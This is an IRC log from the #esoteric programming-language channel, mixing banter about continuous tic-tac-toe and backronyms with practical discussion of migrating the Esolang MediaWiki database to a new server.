20:25:16 <itidus20> so if you have a function which relates the number of turns taken in tictactoe with the number of x's on the board, then the derivative of that function would be about 1/2 eh
20:26:37 <Jafet> No, the derivative is 0 almost everywhere
20:26:49 <elliott> I take it you've seen the esowiki
20:27:55 <ais523> no, I haven't, I've only just got online
20:27:55 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
20:28:00 <lambdabot> elliott asked 46m 54s ago: Do we want the RC patrol stuff?
20:28:08 <elliott> ais523: ah, see the link at the bottom of the main page then
20:28:24 <ais523> elliott: I don't think Esolang's the right size for RC patrolling, it's best on medium-sized wikis
20:28:34 <ais523> nethackwiki's just the right size, but esolang's too small and wikipedia's too large
20:29:01 <Jafet> Why doesn't RC patrol work for small wikis?
20:29:22 <ais523> Jafet: because you want admins to check each change once each, rather than once between them
20:29:48 <elliott> ais523: more importantly than DB lock, I contacted Graue and the process has begun :P
20:29:53 <elliott> I have an esostuff.7z here
20:29:58 <elliott> actually, several copies of it, because I'm paranoid
20:30:24 <Sgeo> But not paranoid enough about suddenly turning into me?
20:30:40 <ais523> Sgeo: I've never considered that I might suddenly turn into you
20:30:56 <ais523> but if I /did/, I'd have your memories not mine, so I probably wouldn't realise I was previously ais523
20:31:04 <Jafet> I suppose that's true for a wiki dedicated to weird things.
20:31:38 * Sgeo in particular is referring to a tendency of breaking hardware
20:31:39 <calamari> elliott: you taking over the wiki?
20:31:49 <fizzie> Jafet: I would assume, if the function is defined like that, it has a discrete domain, and not that it's a step-function-like thing from (a part of) R.
20:33:16 <fizzie> I, for one, welcome our new wiki overlords. (Isn't that what you're supposed to say in situations like this?)
20:33:22 <Jafet> fizzie: there is no derivative on a discrete domain
20:33:30 <fizzie> Jafet: Right, so it's not 0.
20:34:04 <calamari> meet the new boss, same as the old boss?... err wait maybe that's not the one :P
20:34:55 <itidus20> yeah i guess a tic tac toe game does not really become a continuous curve just because it's convenient
20:35:12 <Jafet> Now you are obliged to invent it
20:35:17 <Jafet> Analytic tic-tac-toe
20:35:28 <fizzie> You can do thing with differences that are rather similar to derivatives, though.
20:36:03 <itidus20> well, incase you can't guess, i am reading up on derivatives as part of a quest to understand functions
20:36:30 <Jafet> You can't understand functions by reading about derivatives
20:36:30 <elliott> calamari: does anything actually use that EsoShell stuff? I'd rather not set up another namespace
20:36:36 <elliott> I think you're responsible for it
20:36:41 <Jafet> Not that there is much to understand about functions in general
20:36:59 <itidus20> but i see that it works if i warp "a function which the number of turns taken in tictactoe with the number of x's on the board" into y = 0.5 * x
20:37:20 <itidus20> which obviously isn't really true about tictactoe
20:37:37 <elliott> http://esolangs.org/w/index.php?title=Special%3AAllpages&from=&namespace=100
20:37:38 <elliott> http://esolangs.org/w/index.php?title=Special%3AAllpages&from=&namespace=101
20:38:07 <fizzie> More to the point, even if you restrict x to integers, there aren't 0.5 crosses at turn 1.
20:38:20 <Jafet> You've (pointlessly) generalised the discrete function [1..5] -> [1..5] to the real function R -> R
20:38:30 <calamari> damn that's awesome I completely forgot about that
20:38:40 <Jafet> The latter happens to have a derivative, but it also happens to have nothing to do with tic-tac-toe
20:38:44 <calamari> I think I was using the wiki as a filesystem
20:39:10 <calamari> you can go ahead and ditch that
20:39:25 <Jafet> calamari: it's better than git!
20:41:19 <Sgeo> I take it there's no chance I'll be given a PSOX namespace
20:44:06 <elliott> I can assure you it is policy to ensure you are not given a PSOX namespace.
20:47:35 <Taneb> Does anyone want to see the spec for Ook!++?
20:48:29 <itidus20> ok what i can sort of imagine is both players having sort of squirt guns which constantly fill in part of the tictactoe board at a constant rate but player 1 begins squirting 1 turn early
20:50:17 <Taneb> I'm almost as old as you can get while still being younger than the submition of the final manuscript of Andrew Wiles' proof of Fermat's Last Theorem
20:50:34 <Taneb> (it was on October 25, me on November 3)
20:50:53 <ais523> Taneb: that sounds suspiciously like a BF derivative
20:51:28 <Taneb> ais523: I'm sure it doesn't count if I had never really paid any attention to BF
20:51:41 <Taneb> But yeah, it was when I was a little esolangling.
20:51:44 <ais523> well, Ook! is a BF derivative
20:51:50 <ais523> so it sounds like a BF derivative derivative
20:52:01 <fizzie> A BF second derivative.
20:52:21 <fizzie> Sometimes called a BF curvature.
20:52:25 <Sgeo> Maybe a BF hundredth derivative might be so different from BF that it's actually good.
20:53:13 <Taneb> Oh damn, it's not even backwards compatible.
20:55:01 <Taneb> Ook!++ is however still true to the spirit of Ook!, in that it is usable by orang-utans
20:55:16 <Taneb> (it introduces the "Eek" keyword.)
20:56:27 <Jafet> So, real tic-tac-toe. Given two functions x(t) and o(t) on the unit square, 0 ≤ t ≤ 1 and x(t), o(t) ∈ ([0,1] × [0,1]). Each function "claims" the points it first passes through. If x(t) = o(t), neither function claims the point. The first function to claim all points on a line of length 1 wins.
20:56:42 <Jafet> I'm still not sure if the functions should be continuous.
20:58:08 <Sgeo> Can both achieve the victory condition?
20:58:10 <Jafet> I'm also not sure how many quantifiers are needed to express this game in first order logic
20:58:12 <elliott> Jafet: How is this better than continuous chess?
20:58:30 <Sgeo> If one goes along one diagonal and another goes along the other diagonal but neither are exactly on the diagonal
20:58:37 <itidus20> i'm indirectly responsible for both i think
20:58:38 <Sgeo> How much room for maneuvering is there
20:58:54 <Jafet> elliott: it's easier to write an AI!
20:59:48 -!- nooga has quit (Ping timeout: 245 seconds).
20:59:56 <Jafet> Also, I haven't restricted the functions to be continuous
21:00:05 <Jafet> Though for the sake of analysis, I should
21:00:15 <fizzie> Jafet: How do you take turns in this thing? Do you just keep altering your functions?
21:00:33 <Sgeo> fizzie, I imagine that it's just one function vs the other
21:00:46 <Sgeo> On turn 0? Jafet may have different ideas ofc
21:00:48 <Jafet> Well, I haven't even yet restricted the functions to be computable
21:01:26 <Jafet> Actually, they can't be computable because they need to pass through a dense set
21:01:45 <Jafet> Of course, particular instances of the functions are definable
21:01:57 <Jafet> And by definition, we can only play using those
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21:04:53 <itidus20> Sgeo: by my understanding, 2 horizontal functions would result in a draw
21:05:18 <Sgeo> ...I didn't even think of two horizontal functions
21:05:23 <itidus20> unless they weer at the same horizontal
21:05:33 <Taneb> It would still be a draw?
21:05:39 <itidus20> in which case... they would draw but shamefully
21:05:49 <fizzie> If you put in a space-filling curve that fills the whole square, can you lose? I'm still not quite sure of the whole "first function" thing, is that like in terms of t or what? As in, the smallest t_e for which x(t) or o(t) with t \in [0,t_e] claims a line? But couldn't you just make a space-filling curve that's be arbitrarily "fast"?
21:06:11 <Jafet> fizzie: sure, but the other function can be equally fast
21:06:22 <Jafet> I guess it's a draw by symmetry
21:06:26 <Taneb> I think it's "claims a line of length 1 with minimal t"
21:06:44 <fizzie> So that was the correct meaning of "first"? Hokay.
21:07:11 <Jafet> I wonder if you can inject any asymmetry into this game
21:07:18 <itidus20> it sounds a lot like tron as a function
21:07:36 <Jafet> You can't make x(t) start a finite amount earlier, since it can draw a line in any finite amount of time
21:08:01 <Jafet> You can make it start infinitesimally earlier, as long as you tell me what the hell that even means
21:08:17 <Jafet> Maybe x(t) is allowed to claim an arbitrary point first
21:08:44 <Jafet> Or (as in go?) a countable set of points
21:09:15 <Taneb> You know what would be fun, less theoretically daunting, and easier to implement?
21:09:22 <Taneb> Simultaneous tic-tac-toe
21:09:39 -!- oerjan has joined.
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21:10:10 <Sgeo> What is with the turns thing?
21:10:15 <Sgeo> Who is thinking in terms of terns?
21:10:41 <fizzie> Sgeo: Anyone who plays regular tic-tac-toe?
21:11:26 <itidus20> one way of imagining this that i got was jousting functions
21:13:35 <tswett> So, this is where everyone goes for names, right?
21:13:43 <tswett> "CASE Bus System". Come up with a backronym.
21:14:08 <fizzie> Computer-Aided Sex Education.
21:14:11 <itidus20> i should stop with these really bad topics...
21:14:21 <Taneb> Crazy Alternate Singing Enterprise
21:14:22 <itidus20> noone plays tictactoe and for good reason
21:14:26 <tswett> Consider something related to bus systems?
21:15:01 <fizzie> I'm not even sure what a bus system is. :/
21:15:01 <elliott> carbonated ale superbly eked
21:15:14 <tswett> Computer-Aided Sex Education is a nice backronym, but it doesn't sound like the sort of thing a bus would be called.
21:15:20 <elliott> casebussystem asebussystem sebussystem ebussystem
21:16:31 <fizzie> Cockburningly, Amazingly, Seriously Expensive Bus System.
21:16:46 <tswett> (Pronounced "Coburningly".)
21:17:06 <tswett> I'm starting to think that "CASE" isn't a great acronym for a bus system.
21:17:31 <oerjan> can acronyms stabilize ever?
21:18:07 <fizzie> What *is* a bus system? I mean, there's the system bus, and all kinds of different buses in different contexts. Or... is it, like, with wheels? A bus?
21:18:30 <fizzie> I was thinking of, you know, buses.
21:18:31 <tswett> A giant box with wheels that people get into and wait until it rolls into the right spot.
21:18:35 <Taneb> The wheels on the bus go round and round
21:18:46 <fizzie> Desert bus, right, I know about those.
21:18:47 <tswett> Carriers for relatively large amounts of data?
21:18:51 <Taneb> The wheels on the bus go round and round
21:19:12 <oerjan> ceteribus antabus sillybus exibus
21:19:34 <Taneb> Cars Are Sorta Expensive
21:19:53 <tswett> Taneb: ...yes! I'm using that.
21:20:41 <fizzie> I was going to go with "Clean And Sober Experience", by way of cheating via acronymfinder.
21:21:33 <fizzie> (It was the first I noticed on the list with positive bus-related qualities. But the car thing is better.)
21:22:34 <oerjan> cars and shuttles explode
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21:24:32 <elliott> capes always see exoskeletons
21:28:34 <tswett> elliott: çomeone already superiorated eu.
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21:31:47 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:32:09 <ais523> we're busy moving the wiki to another server atm
21:32:44 <elliott> fenriswoolf: hi! how did you find out about this place?
21:32:47 -!- MoALTz has joined.
21:32:54 <zzo38> elliott: Good question.
21:33:15 <fenriswoolf> searched for esoteric ... have a tooth for the mysterious ...
21:33:26 <ais523> ah, you're probably talking about the other meaning of "esoteric"
21:33:31 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
21:33:33 <zzo38> fenriswoolf: This channel we discuss a lot of various thing but mostly computer programming stuff.
21:33:41 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
21:33:42 <zzo38> fenriswoolf: However, if you do have a question, please ask
21:34:07 <zzo38> (We are rarely on topic but who knows)
21:34:17 <fenriswoolf> i think i am not in your league ... i just started looking into python
21:34:37 <fenriswoolf> just found your channel name intriguing ....
21:35:11 <itidus20> fenriswoolf: what zzo38 is trying to point out is that this isn't the place for study of necronomicon or the like (although it could be potentially)
21:35:20 <fenriswoolf> but if you do not mind if i drop in when i run into a python road block
21:35:31 <zzo38> fenriswoolf: Try the Python channel.
21:35:51 <fenriswoolf> ah .. not everything esoteric is necromancy ...
21:35:58 <zzo38> If you have a question about anything at all (on topic or not) please ask; we discuss a large number of things on this channel which are not on topic and can be confusing so ask whatever.
21:36:05 <fenriswoolf> hey thanks ... have a great weekend ... theo
21:36:15 <itidus20> this channel is all about "weird" programming languages
21:36:19 <zzo38> itidus20: Exactly. It isn't, but can be potentially if anyone has anything to say
21:36:40 <Taneb> Hmm... I know a number of people called Theo
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21:36:42 <zzo38> (But still isn't the main topic regardless. The main topic is esoteric computer programming, but we are often not on topic)
21:37:03 <zzo38> Taneb: I didn't know that.
21:37:13 <itidus20> like theres nothing to stop someone making an occult esolang
21:38:24 <zzo38> Yes, they do mention necromancy in that one... good point!!!
21:38:57 <elliott> Well, OK, there's no actual necromancy.
21:46:11 <itidus20> delete p; Necromancer n; n.resurrect(p); http://delipit.ro/magazin/wp-content/themes/shopperpress/thumbs/inglip.jpg
21:48:58 <oerjan> is inglip still around
21:50:54 <oerjan> ...that's not really relevant to my question
21:51:07 <itidus20> your question is very difficult
21:51:52 <itidus20> i guess i would have to check inglip's homebase
21:54:22 <elliott> Sgeo: please look at your user talk pages /binbf and /ffbimp
21:54:32 <elliott> tswett: please look at your user talk page /EsoS
21:55:18 <Sgeo> elliott, where, on esolangs.org or new wiki?
21:55:52 <Sgeo> Done, what about them?
21:56:03 <Sgeo> (Although I wasn't logged in)
21:56:31 <elliott> I want to not bother copying this table:
21:56:32 <elliott> INSERT DELAYED INTO `mw_user_newtalk` (`user_id`, `user_ip`) VALUES (5,''),(0,'Sgeo/binbf'),(0,'Ihope127/EsoS'),(0,'202.139.118.19'),(0,'Sgeo/ffbimp'),(0,'MediaWiki default'),(489,''),(214,''),(0,'75.3.255.119'),(0,'88.226.134.138'),(0,'89.245.108.252'),(0,'18.85.1.11'),(255,''),(0,'203.223.152.82'),(374,''),(368,''),(11,''),(0,'76.235.211.209'),(305,''),(295,''),(529,''),(294,''),(545,''),(3,''),(12,''),(0,'96.32.244.172'),(369,''),(34,''),(0,'
21:56:32 <elliott> 122.213.250.14'),(0,'60.217.232.70'),(0,'202.176.202.137'),(0,'92.86.78.203'),(0,'72.200.73.175'),(0,'95.169.184.138'),(0,'200.29.96.75'),(580,''),(22,''),(27,''),(357,''),(21,''),(2,''),(669,''),(26,''),(468,''),(831,''),(592,''),(0,'188.121.63.154'),(562,''),(557,''),(0,'88.22.228.4'),(0,'71.238.223.31'),(0,'82.195.156.186'),(0,'63.105.26.46'),(0,'216.83.145.130'),(0,'68.226.23.83'),(0,'195.229.242.57'),(29,''),(0,'88.23.182.79'),(475,''),(0,'1
21:56:34 <elliott> 24.6.181.166'),(228,''),(0,'66.188.73.213'),(650,''),(154,''),(0,'64.75.72.4'),(0,'Ling111216L;'),(623,''),(0,'69.72.75.139'),(586,''),(661,''),(71,''),(0,'68.95.248.65'),(789,''),(771,''),(837,''),(838,''),(0,'Ling111216G'),(0,'Ling111216N'),(2712,'');
21:57:11 <Sgeo> You don't want to copy over our pages?
21:57:23 <Sgeo> Oh, as in, things we didn't check?
21:57:27 <tswett> So, my user_id is 0 and my IP address is 'Ihope127/EsoS'?
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22:12:37 <elliott> I am learning far more about MediaWiki than I ever intended to.
22:21:09 <ais523> elliott: that looks like the "you have new messages" banner table
22:23:01 <elliott> it's also had its schema changed since, so dropping it = one fewer thing that can gow rong
22:24:30 <elliott> wow, I just remembered that Wikipedia Review exists
22:27:23 <elliott> In some common configurations of MySQL 4.1 and later, mysqldump can corrupt MediaWiki's stored text. If your database's character set is set to "latin1" rather than "UTF-8", mysqldump in 4.1+ will apply a character set conversion step which can corrupt text containing non-English characters as well as punctuation like "smart quotes" and long dashes used in English text.
22:27:34 <elliott> ais523: remind me to check that
22:28:36 <ais523> I'm not even sure what that's a bug in
22:28:45 <ais523> as it's a set of locally reasonable configurations that make no sense globally
22:30:55 <elliott> `ar_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
22:30:58 <elliott> this thing is latin-1 up the wazoo :(
22:31:33 * elliott decides to just remove those
22:32:23 <elliott> ais523: what's the Perl for going to the next iteration of a while?
22:32:29 <elliott> "next" seems to switch to the next element without breaking control
22:32:44 <ais523> did you put it inside a bare block?
22:33:06 <ais523> you can say which loop you mean by labelling the loop, LOOPNAME: while(...) {}
22:33:09 <ais523> and then do next LOOPNAME;
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22:33:45 <elliott> but there's only one loop!
22:34:09 <elliott> `blob_index` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
22:34:09 <elliott> `blob_data` longblob NOT NULL,
22:34:09 <elliott> UNIQUE KEY `blob_index` (`blob_index`)
22:34:09 <elliott> ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
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22:34:22 <elliott> and so the "next" should trigger
22:34:33 <elliott> wtfly, it /doesn't/ output the CREATE TABLE line itself
22:36:22 <elliott> this is why you don't write quick scripts in languages you don't really know
22:37:23 <ais523> don't you mean "last;"?
22:37:32 <ais523> I forget what break does in Perl, but it's not the same as in C
22:37:46 <ais523> it breaks out of the enclosing given() block
22:38:32 <ais523> but without a use feature, that'll be interpreted as "break";, i.e. a no-op
22:38:36 <ais523> I recommend turning on strict and warnings
22:38:45 <elliott> oh, yes, I forgot those aren't on by default
22:39:01 <elliott> -rw-r--r-- 1 elliott users 198M Feb 17 09:47 esostuff/fulldump.sql
22:39:01 <elliott> -rw-r--r-- 1 elliott users 174M Feb 17 22:38 minidump.sql
22:42:49 <elliott> this will be... interesting
22:43:22 <elliott> ais523: hey, what's a better hostname, solidity or solidus?
22:43:39 <ais523> elliott: for Esolang, the first
22:43:50 <ais523> I prefer the more direct reference
22:44:03 <elliott> I'll leave it as it is, then
22:44:29 <elliott> oh, duh, my connection is slow because I'm uploading esostuff.7z
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22:46:17 <elliott> note to self: 17-Feb-2012 22:26
22:47:18 <shachaf> You could've said "note to self: 20 minutes ago".
22:48:05 <Sgeo> How do you expect to find the note to self?
22:49:14 <shachaf> That's why we need to spam the logs when elliott is gone.
22:49:34 <shachaf> Then they'll develop a better notetoselfing system.
22:50:42 <Sgeo> Oh, I thought your note to self was pointing to something you said
22:51:13 <Sgeo> Maybe you were
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22:59:15 <elliott> ais523: get the fire extinguisher
22:59:33 <ais523> oh dear, are we about to have a flamewar?
22:59:48 <elliott> I'm about to deal with MediaWiki; that's basically the same, right?
22:59:49 <ais523> or should I turn my computer or network connection off? no way you can make it catch fire remotely if you don't have a connection
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23:01:16 <elliott> hmm, I bet the EsoShell pages cause problems
23:09:27 <zzo38> In Soviet Russia, esoteric programming language invents YOU!!!
23:10:05 -!- monqy has joined.
23:10:51 <Gregor> elliott: A very short exclamation en español.
23:12:19 <elliott> Hi monqy, take a look at the wiki.
23:12:44 <Gregor> But beware, looking at it will SHATTER YOUR FEEBLE MIND
23:14:06 <zzo38> elliott: Did you fix the wiki yet?
23:14:24 <elliott> zzo38: Well, I'm working on restoring the SQL dump now.
23:14:32 <elliott> It'll probably be read-only for the next two to three days.
23:15:31 <zzo38> Can you interpret the lines on your hand as a computer program?
23:17:24 <elliott> const (putStrLn "hello, world")
23:18:04 <zzo38> That isn't what I meant.
23:18:21 <zzo38> I mean making each one different
23:18:21 <monqy> thats eliots hands
23:18:43 <monqy> my hands are const (putStrLn "hi")
23:18:43 <zzo38> And I also don't mean you personally.
23:18:50 <itidus20> what does the const mean? as in uhh.. is that related to the K in SKI?
23:18:59 <zzo38> itidus20: Yes it is same thing
23:21:06 <zzo38> This is a jukebox described in one of Hofstadter's book. It is a very large one, with only one record, which seems ordinary. There are many record players which will move on rails and touch the record. Each record player plays different music from the same record. Can we make up a esolang like this?
23:23:41 <Gregor> zzo38: Arguably, if the set of all record players is taken to be the set of all languages for which all input strings are syntactically valid, then we already have that, although we don't have very many record players.
23:25:37 <itidus20> so, can someone help explain const (putStrLn "hi") to me?
23:26:19 <kallisti> itidus20: (const x) evaluates to a function which, when applied, ignores its argument and returns x.
23:26:26 <elliott> itidus20: it takes any argument and returns a program with prints "hi"
23:27:54 <itidus20> ah right, so x is (putStrLn "hi")
23:28:06 <itidus20> i forgot about the parentheses doing that
23:29:06 <itidus20> ok it makes sense in a kind of intuitive way
23:35:10 <itidus20> i wonder how complex a sprite could be
23:35:49 <itidus20> so this idea starts to quickly get weird
23:36:07 <itidus20> like first a sprite is defined by it's width and height in pixels
23:37:16 <itidus20> and then with an alpha channel, each new pixel is a function of the previous pixel
23:38:01 <itidus20> but each new pixel could be a function of the neighborhood of the previous pixel
23:40:31 <elliott> good news: the SQL import is going well
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23:41:17 <itidus20> but it could be that each new pixel is a function of the neighborhoods of the last n previous pixels
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23:52:04 <Jafet> zzo: a polyglot is a rather ironic thing to call a language.
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23:57:18 <Sgeo> What is xcbzone? Google is unhelpful, and from context I'm guessing a game
00:15:50 <itidus20> Sgeo: it's running really slow
00:23:09 <itidus20> Sgeo: it appears to be a fictional game.. which means it's whatever you imagine it to be
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00:28:49 <itidus20> ok so im wrong and thats not what fictional game means.
00:31:10 <itidus20> yeah.. there is no xcbzone.. its just a fictional entity
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02:17:29 <elliott> fizzie: You're awake, right?
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06:09:51 <HackEgo> maki: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
06:12:27 <maki> I'm trying to learn brainfuck
06:13:23 <elliott> this place is a bit quiet right now i'm afraid
06:13:30 <maki> hehe yes, their channel says "go to esoteric", so here I am :)
06:13:32 * Sgeo is reading the BOFH archives
06:13:47 <Sgeo> Oh, a brainfuck channel?
06:14:45 <Sgeo> It isn't usually this quiet here, btw. Although elliott left, so it's quieted down, but he's visiting. Unless he's staying.
06:16:05 <maki> What is this channel exactly about?
06:16:37 <Sgeo> In theory, about esoteric programming languages, which includes brainfuck
06:16:40 <elliott> esotercic programming languages
06:16:52 <elliott> see the wiki for a definition
06:16:56 <Sgeo> In practice, we talk about whatever. Often programming or computer science or math related.
06:17:03 <Sgeo> But not always
06:18:45 <maki> I actually want to make an interpreter of i
06:19:09 <elliott> that's fairly easy in most languages
06:21:06 <elliott> daniel cristofani's brainfuck interp in brainfuck
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06:49:20 <maki> a brainfuck interpreter in brainfuck?
06:50:31 <maki> I'll let that be my project
06:50:51 <maki> Well, got to go. Hope to be around
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08:03:56 <zzo38> OK................................................................................................................................?
08:14:29 <zzo38> I am thinking of the text adventure game system in Haskell.
08:15:32 <zzo38> The container currently [ObjID] but maybe I should include the quantity, so that you can have parts of an object in different places such as money and so on. Or maybe do it something differently? I am not exactly sure
08:30:25 <zzo38> Maybe there is a better way... for most things... I don't know...
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09:28:05 <elliott> Taneb: did you see THE WIKI,
09:29:32 <Taneb> Which wiki would this be?
09:29:40 <Taneb> The read only, which indeed I did see?
09:29:43 <elliott> http://esoteric.voxelperfect.net/wiki/Main_Page
09:30:00 <Taneb> Or the new one, hosted by thee?
09:31:38 <elliott> No, that one hasn't apparated yet.
09:32:42 <Taneb> I may yet change the specifications of Luigi
09:32:57 <Taneb> The alphabet is unnecessary
09:33:59 <Taneb> And I would like to add context-sensitivity and make ambiguity an error
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09:35:35 <elliott> fizzie: Also http://www.mediawiki.org/wiki/Alternative_parsers.
09:47:38 <fizzie> Noticed that. "Many of the things linked here are likely to be out of date and under-maintained, even abandoned." (Haven't looked closer.)
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10:01:42 <elliott> oerjan: YOU DIDN'T BELIEEEVE ME
10:02:01 <elliott> fizzie: & yet also http://www.mediawiki.org/wiki/Markup_spec, plus: "mwlibPediaPress.comPythonMarkup and otherparse tree, HTML, PDF, XML, OpenDocumentPart of cooperation between Wikimedia Foundation and PediaPressBSD"
10:02:22 <elliott> (Also "mediawiki-parserPeter Potrowl
10:02:22 <elliott> Erik RosePythonMarkupXHTML, raw text, ASTGSoC-2011 project; the use of a PEG parser makes it easy to improve
10:02:22 <elliott> Parser functions are not supported yet.")
10:02:33 <elliott> I would wager that mwlib thing works properly if the Foundation were involved and PediaPress use it.
10:02:36 <oerjan> elliott: sorry, it wasn't you, it was just that the event itself violated what i believed to be fundamental laws of the universe
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10:04:21 <elliott> oerjan: What event would that be?
10:04:47 <oerjan> the event of the esolang wiki getting decent administration and upgrading
10:05:15 <elliott> oerjan: I'm even going to finally make you an admin!!!!!!!
10:06:33 <elliott> oerjan: Don't worry, I'm kidding.
10:06:37 <elliott> oerjan: It'll be much more effective as a threat.
10:07:25 <Sgeo> kallisti, sorry for failing to notify you of the Flash.
10:07:35 <Sgeo> But there's a flash, and just now an update after it
10:09:46 <elliott> oerjan: Anyway, do you realise what this *means*?
10:10:09 <elliott> We can no longer just point Timwi at Graue. :(
10:10:23 <elliott> Wait, I'm diplomatic now. I'm not allowed to say things like that.
10:11:54 <Sgeo> Is that some person on the wiki who's not good at esolang making?
10:12:12 <elliott> No, they're excellent at esolang making.
10:12:36 <Sgeo> Oh, so the person I keep mixing up with someone who's not good at esolang making
10:12:38 <elliott> They're also excellent at persistently requesting how to contact Graue to become an administrator.
10:13:20 <elliott> Which has lead to some awkward hours in this channel.
10:13:37 <elliott> He also thinks we should move the wiki to somewhere with an admin that responds to requests like that.
10:13:43 <elliott> So............ yeah..............................................
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10:14:28 <Sgeo> Does he think it should be a positive response?
10:14:50 <Sgeo> Or does he think it's ok if the admin gives a negative response, as long as it's a response?
10:15:00 <oerjan> diplomacy crash course coming up
10:15:17 <elliott> Sgeo: I have no idea, but he's persistent.
10:15:40 <Sgeo> First, you need seven players.
10:16:10 <elliott> fizzie: It's quite bestest how MW can parse "''The '''quick'' brown''' fox".
10:16:38 <elliott> And thus also "'''''abc def'' quux'''", one presumes.
10:17:00 <elliott> It would be great if "''''abc def''' quux''" caused the interpretation of the first quote-sequence to change to avoid rebalancing.
10:20:45 <fizzie> <b∪i><b∪i>abc def</b> quux</i>
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10:23:23 <elliott> fizzie: oerjan: Can you wake Alan Dipert up?
10:25:24 <oerjan> who is alan dipert again
10:26:18 <oerjan> hm not sle*reah or seb*bu
10:27:21 <oerjan> oh wait, the owner of esolangs.org?
10:27:49 <fizzie> Also some kinda blogger, I see.
10:30:08 <fizzie> I think he wakes up if you say his name three times in front of a mirror. But not sure.
10:32:10 <oerjan> hmph i was going to make a joke on having to pronounce it perfectly, but that is ruined by the fact he seems to be american, not french
10:35:29 <oerjan> which might sort of explain why he's asleep
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10:40:49 <ion> Welcome to the no-fly list.
10:44:11 <pikhq_> elliott: I'm afraid that we'll have to extradite you to somewhere simultaneously inside and outside of US jurisdiction.
10:45:11 <ion> Quantum jurisdiction
10:46:01 <oerjan> it's a small cell in CERN, just wedged between the french and swiss borders
10:46:11 <pikhq_> ion: No, it's merely defined to be whichever is most convenient for the current purpose.
10:55:46 <Sgeo> I don't know if it's because I've heard from elsewhere that CL's community can be a bit harsh that's making me think it, but I think #lisp is acting quite sarcastic to me
10:56:29 <elliott> IIRC, #lisp is Smug Lisp Weeniedom personified.
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10:59:26 <elliott> oerjan: I would like to warn you that I am about to spam.
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10:59:45 <kmc> i wonder if #lisp is representative of "the Lisp community" or if that's even a thing
11:00:04 <elliott> oerjan: http://viagra.cialis/
11:00:16 <elliott> Oh, someone joined. Hello tzxn3.
11:01:51 <kmc> i don't think #haskell is particularly representative of "the Haskell community"
11:01:52 <oerjan> that's not a valid url, is it?
11:02:02 <elliott> It is if you have $100k or so.
11:02:16 <elliott> Everything always comes back round to #haskell with kmc.
11:02:34 <kmc> not a huge leap from #lisp though
11:02:47 <kmc> and i have no experience with #lisp
11:03:22 <elliott> How long does it take to get to America?
11:03:32 -!- oerjan has set topic: http://codu.org/logs/_esoteric/ | The #haskell diaspora | Resistance is sexyliccipie, thus voltage is kinsley times currant. | Electric bonobos, all the rage..
11:08:38 <pikhq_> elliott: Define a location in "America", it varies.
11:09:21 <pikhq_> You can have 8 hour plane trips without leaving the country, IIRC.
11:09:59 <Taneb> Bicontinental mess
11:11:18 <elliott> pikhq_: Wherever Alan Dipert is.
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11:13:46 <Taneb> Well, my second laptop is on its last legs
11:14:09 <elliott> Must have been all the raving.
11:14:17 <Taneb> I'm going to have a tower of broken laptops
11:15:44 <pikhq_> elliott: Googling suggests he's in North California.
11:16:02 <pikhq_> Roughly an 8 hour flight.
11:16:21 <elliott> Aren't there any supersonic planes to North Carolina?
11:16:35 <pikhq_> There aren't any supersonic planes in non-military use.
11:16:37 <elliott> I don't want to wait ~10 hours, but waiting ~8 hours is almost as bad. :(
11:16:39 <Taneb> elliott: nah, they stopped those once the pilots started all getting cancer
11:16:48 <elliott> pikhq_: Okay, so how do I get on a military use plane?
11:17:08 <Taneb> Find an airbase and ask nicely?
11:17:20 <pikhq_> (I suggest finding a scam in UK laws. There's bound to be several)
11:17:35 <Taneb> UK laws are tricky.
11:17:42 <Taneb> Half of them don't really exist
11:18:17 <pikhq_> A significant fraction exist only in theory, but have long since gone the way of the Library of Alexandria.
11:18:57 <oerjan> elliott: this is the point where you realize alan dipert is on a weekend trip to an isolated cottage in the appalachians
11:19:15 <pikhq_> Meh, nuke the Appalachians. World'll be better for it.
11:26:29 <Taneb> I'm still compulsively checking the wiki for updates
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11:27:23 <oerjan> i almost did that once, but i managed to reach the abort button before it loaded
11:27:49 <elliott> If you want to F5 to see if it's been migrated yet, you'll want to load http://esolangs.org/.
11:27:59 <elliott> esoteric.voxelperfect.net might still point to the old wiki for up to a day.
11:28:34 <Taneb> Will esolangs.org automatically be the wiki, or will it give the three options?
11:28:48 <oerjan> there are three options?
11:28:58 <Taneb> Wiki, File archive, and forum
11:29:11 <elliott> The forum is going the way of the dodo.
11:29:22 <elliott> esolangs.org will redirect to the wiki; I'll stick a link to the file archive somewhere on the wiki.
11:29:51 <Taneb> Already is one, I believe
11:30:12 <Taneb> Unless it's going to be a brand new wiki?
11:30:45 <elliott> No, there's no readily-accessible link.
11:30:48 <Taneb> http://esoteric.voxelperfect.net/wiki/Esolang:The_Esoteric_File_Archive
11:30:54 <Taneb> 3 clicks from main page
11:32:19 <elliott> I suppose the community portal is good enough.
11:32:33 <oerjan> it's a little annoying if old links stop working, isn't it
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11:33:49 <elliott> oerjan: I have no idea what conclusion you've jumped to.
11:33:52 <oerjan> so i hope you don't make them do that
11:34:29 <elliott> I'm sure you also hope I don't kill a dozen kittens. I'm not sure why you would think links would break...
11:34:47 <oerjan> elliott: to things in the file archive, i mean
11:34:57 <elliott> Graue will continue to host the file archive.
11:35:18 <elliott> I can set up a redirect from /files/* to the appropriate server. Though not today.
11:35:27 <oerjan> that's what i was hoping
11:35:44 <elliott> oerjan: I very much doubt there are many links to it, though.
11:35:56 <elliott> Anyway, perhaps someone will find this useful, some day: http://sprunge.us/hgaT
11:36:21 <oerjan> well for example the version of the underload spec on the archive is the official one, i think it has been linked from blogs
11:37:11 <Taneb> elliott, I count 29 esolangs at least where the article links tot he file archive
11:37:23 <elliott> [[Underload]] links to esoteric.voxelperfect.net.
11:37:35 <elliott> http://esoteric.voxelperfect.net/wiki/Special:Search?search=esolangs.org%2Ffiles&go=Go
11:37:40 <elliott> AFAICT nothing links to esolangs.org/files.
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11:38:02 <elliott> Oh, http://esolangs.org/wiki/Gregor_Richards does.
11:38:03 -!- cswords has joined.
